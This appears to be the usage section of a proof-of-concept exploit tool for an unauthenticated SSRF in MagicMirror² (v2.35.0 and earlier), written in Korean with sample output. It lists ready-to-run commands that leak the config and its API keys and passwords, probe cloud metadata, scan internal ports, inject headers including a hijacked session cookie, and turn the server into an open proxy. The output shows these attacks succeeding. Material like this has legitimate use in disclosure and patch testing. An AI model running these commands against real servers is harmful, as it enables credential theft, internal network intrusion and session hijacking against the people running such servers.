# 1. 대상이 취약한지 확인
python3 poc.py -t http://target:8080 --check

# 2. 애플리케이션 설정 유출 (자동 비밀 키 탐색 포함)
python3 poc.py -t http://target:8080 --config

# 3. 10개 이상의 제공업체에서 클라우드 메타데이터 서비스 탐색
python3 poc.py -t http://target:8080 --cloud

# 4. SSRF를 통한 내부 네트워크 포트 스캔
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. 인바운드/아웃바운드 헤더 남용 데모
python3 poc.py -t http://target:8080 --headers

# 6. 서버를 범용 오픈 프록시로 사용
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — /cors 엔드포인트를 통한 인증 없는 SSRF
  작성자: Astaruf | https://nstsec.com

  CHECK, 대상 연결 가능성 및 SSRF 확인
  [*] 대상 연결 가능성 확인 중 ...
  [+] 대상 연결 가능, MagicMirror 2.35.0
  [*] 루프백을 통한 SSRF 확인 중 ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF 확인됨, 서버가 우리를 대신하여 내부 리소스를 가져옴
      << 2.35.0

  CONFIG EXFILTRATION, SSRF 루프백을 통한 전체 설정
  [+] 설정 검색 완료, 1194 바이트
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] 모든 IP에 개방

  발견된 비밀 키:
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

  HEADER INJECTION, 아웃바운드 및 인바운드 헤더 남용
  [*] 파트 A: sendheaders를 통해 아웃바운드 요청에 임의 헤더 주입
  [+] 아웃바운드 요청에서 헤더 X-Injected-By: SSRF-PoC 확인됨
  [+] 아웃바운드 요청에서 헤더 Authorization: Bearer DEMO_TOKEN 확인됨

  [*] 파트 B: expectedheaders를 통해 응답 헤더를 브라우저로 전달
  [+] 응답 헤더 Set-Cookie가 브라우저로 전달됨: session=hijacked;HttpOnly
  [+] 브라우저는 이 쿠키를 MagicMirror 도메인에서 온 것처럼 수신

  OPEN PROXY, 취약한 서버를 통해 https://httpbin.org/ip 가져오기
  [+] HTTP 200, 서버에서 32 바이트 수신

{
  "origin": "<서버의 공인 IP, 공격자의 IP가 아님>"
}